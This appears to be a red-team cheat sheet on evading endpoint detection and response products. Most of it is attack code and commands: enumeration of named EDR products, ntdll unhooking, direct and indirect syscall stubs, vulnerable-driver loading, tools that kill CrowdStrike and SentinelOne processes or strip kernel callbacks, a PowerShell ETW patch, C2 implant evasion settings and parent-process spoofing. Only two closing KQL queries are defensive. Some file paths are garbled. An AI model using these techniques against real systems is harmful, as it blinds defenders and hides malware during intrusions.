EDR Bypass Techniques

# Step 1: Identify the EDR product
# Process enumeration
Get-Process | Where-Object { $_.Company -match 
  'CrowdStrike|SentinelOne|Carbon Black|Symantec|McAfee|Trend|Palo|Cylance' }

# Service enumeration
Get-Service | Where-Object { $_.DisplayName -match 
  'Falcon|Sentinel|Carbon|Defender|Cortex|Cylance' }

# Driver enumeration — shows kernel-level protection
fltMC.exe  # Lists minifilter drivers
driverquery /v | findstr /i "crowd sentinel carbon defender"

# Step 2: Check hook status on ntdll
# Dump ntdll to check for inline hooks
# SyscallDumper — enumerate hooked functions
SyscallDumper.exe

# Step 3: Test detection boundaries
# Start with benign indicators and escalate:
# Level 1: x64 calc shellcode (signatured, no evasion)
# Level 2: Custom shellcode with encrypted strings
# Level 3: Direct syscalls + custom loader
# Level 4: Full evasion chain (sleep mask + unhook + syscalls)

// Method 1: Fresh ntdll from disk
// Read clean ntdll.dll from disk and overwrite the .text section of the loaded copy
HANDLE hFile = CreateFileA("C:\Windows\System32\
tdll.dll", 
  GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
// Map the clean file, find .text section, copy over hooked ntdll in memory
// This removes ALL hooks in one operation

// Method 2: Fresh ntdll from KnownDlls
// Open \KnownDlls\
tdll.dll section object — guaranteed clean copy
HANDLE hSection;
UNICODE_STRING objName;
RtlInitUnicodeString(&objName, L"\KnownDlls\
tdll.dll");
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, &objName, OBJ_CASE_INSENSITIVE, NULL, NULL);
NtOpenSection(&hSection, SECTION_MAP_READ, &objAttr);

// Method 3: Fresh ntdll from suspended process
// Spawn a suspended notepad.exe, read its clean ntdll, unhook ours
STARTUPINFO si = {sizeof(si)};
PROCESS_INFORMATION pi;
CreateProcessA("C:\Windows\System32\notepad.exe", NULL, NULL, NULL, 
  FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Read ntdll .text section from pi.hProcess
// Overwrite our hooked ntdll .text section
TerminateProcess(pi.hProcess, 0);

# PowerShell unhooking (using reflection)
# Warning: AMSI must be bypassed first or this will be caught
$ntdll = [System.IO.File]::ReadAllBytes("C:\Windows\System32\ntdll.dll")
# Parse PE headers, find .text section, overwrite in memory

# BokuLoader / NimlineWhispers — automated unhooking during C2 loading
# These are integrated into modern C2 implants (Sliver, Havoc)

// Direct syscall stub (x64 MASM) — generated by SysWhispers3
// python3 syswhispers.py -a x64 -l masm -f NtAllocateVirtualMemory,NtProtectVirtualMemory

.code
NtAllocateVirtualMemory PROC
    mov r10, rcx
    mov eax, 18h          ; SSN for NtAllocateVirtualMemory (version-specific)
    syscall
    ret
NtAllocateVirtualMemory ENDP

// Indirect syscall variant — jump to syscall inside ntdll
NtAllocateVirtualMemory_Indirect PROC
    mov r10, rcx
    mov eax, 18h
    jmp qword ptr [syscallAddr]  ; Points into ntdll's .text section
NtAllocateVirtualMemory_Indirect ENDP

// HalosGate — runtime syscall number resolution (C pseudocode)
DWORD GetSSN(LPCSTR funcName) {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    BYTE* func = (BYTE*)GetProcAddress(ntdll, funcName);
    
    // Check if function is hooked (first bytes should be: mov r10, rcx; mov eax, SSN)
    if (func[0] == 0x4c && func[1] == 0x8b && func[2] == 0xd1) {
        return *(DWORD*)(func + 4);  // Clean — read SSN directly
    }
    
    // Hooked — search neighboring stubs (HalosGate technique)
    for (int i = 1; i < 500; i++) {
        // Check function above
        if (*(func - i*32) == 0x4c && *(func - i*32 + 1) == 0x8b) {
            return *(DWORD*)(func - i*32 + 4) + i;  // SSN = neighbor + offset
        }
        // Check function below
        if (*(func + i*32) == 0x4c && *(func + i*32 + 1) == 0x8b) {
            return *(DWORD*)(func + i*32 + 4) - i;
        }
    }
    return 0;
}

# Load a vulnerable driver
sc create VulnDrv type= kernel binPath= C:\Temp\dbutil_2_3.sys
sc start VulnDrv

# EDRSandBlast — full EDR neutralization
# Loads vuln driver, removes kernel callbacks, patches ETW TI
EDRSandBlast.exe --usermode --kernelmode

# Backstab — kill EDR process via Process Explorer driver
Backstab.exe -n CrowdStrike.exe -k
Backstab.exe -n SentinelAgent.exe -k

# KDU — versatile kernel driver utility
# Supports 30+ vulnerable drivers
KDU.exe -prv 1 -map payload.sys

# Patch EtwEventWrite to disable ETW telemetry
# Overwrite prologue with: xor rax, rax; ret (0x48 0x33 0xC0 0xC3)

$ntdll = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
    (([System.Reflection.Assembly]::LoadWithPartialName('Microsoft.Win32.UnsafeNativeMethods')).
    GetType('Win32')).GetModules()[0])

$etwAddr = [Win32]::GetProcAddress($ntdll, 'EtwEventWrite')
$oldProtect = 0
[Win32]::VirtualProtect($etwAddr, [uint32]4, 0x40, [ref]$oldProtect)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 0, 0x48)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 1, 0x33)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 2, 0xC0)
[System.Runtime.InteropServices.Marshal]::WriteByte($etwAddr, 3, 0xC3)
[Win32]::VirtualProtect($etwAddr, [uint32]4, $oldProtect, [ref]$oldProtect)

# Verify ETW is disabled
logman query -ets | findstr -i "threat defender"

# For Cobalt Strike: use InlineExecute-Assembly BOF
# Patches ETW before loading .NET assemblies in-process

# EDRSandBlast — enumerate all registered kernel callbacks
EDRSandBlast.exe --kernelmode --enum

# Remove all EDR-registered kernel callbacks
EDRSandBlast.exe --kernelmode --remove-all

# Targeted: remove only CrowdStrike callbacks
EDRSandBlast.exe --kernelmode --remove-driver csagent.sys

# Combine with usermode patches for full EDR neutralization
EDRSandBlast.exe --usermode --kernelmode

# Verify callback removal — check if EDR minifilter is still active
fltMC.exe instances
fltMC.exe filters

// Cobalt Strike — Malleable C2 sleep mask configuration
set sleep_mask "true";
set sleep_mask_deobfuscate "true";
set sleep_time "60000";
set jitter "37";

// Cobalt Strike — call stack spoofing
set spawnto_x64 "%windir%\sysnative\dllhost.exe";
set spawnto_x86 "%windir%\syswow64\dllhost.exe";

// Sliver — sleep obfuscation via implant config
generate --mtls 10.10.10.5 --os windows --arch amd64 \
  --evasion --skip-symbols

// Havoc — Ekko-style sleep masking is enabled by default
// Configure via Demon builder options:
// Demon { Sleep = "Ekko"; Injection { Alloc = "Native/Syscall"; } }

// Manual Ekko implementation (C/C++):
// 1. Create timer queue
HANDLE hTimerQueue = CreateTimerQueue();
// 2. Queue timer that fires ROP chain to:
//    a. VirtualProtect(beacon, size, PAGE_READWRITE, &old)
//    b. SystemFunction032(beacon_data, &key)  // RC4 encrypt
//    c. WaitForSingleObject(hEvent, sleep_ms)
//    d. SystemFunction032(beacon_data, &key)  // RC4 decrypt
//    e. VirtualProtect(beacon, size, PAGE_EXECUTE_READ, &old)
CreateTimerQueueTimer(&hTimer, hTimerQueue, ropGadget, ctx, 0, 0, 0);

// PPID Spoofing — fake the parent process of your implant
// Makes malware appear to be spawned by a legitimate process

// Using PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
STARTUPINFOEX si;
ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(STARTUPINFOEX);

SIZE_T size;
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
  GetProcessHeap(), 0, size);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);

// Set svchost.exe as parent
HANDLE hParent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, svchost_pid);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
  PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);

CreateProcessA("C:\Windows\System32\notepad.exe", NULL, NULL, NULL,
  FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
  &si.StartupInfo, &pi);
// notepad.exe appears as child of svchost.exe

// KQL — Detect BYOVD (vulnerable driver loading)
DeviceEvents
| where ActionType == "DriverLoad"
| where SHA256 in (known_vulnerable_driver_hashes)
| project Timestamp, DeviceName, FileName, SHA256, FolderPath

// KQL — Detect direct syscalls via unbacked call stacks
DeviceEvents
| where ActionType == "NtAllocateVirtualMemory"
| where InitiatingProcessFileName !in ("svchost.exe","services.exe")
| where AdditionalFields has "Unbacked"
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName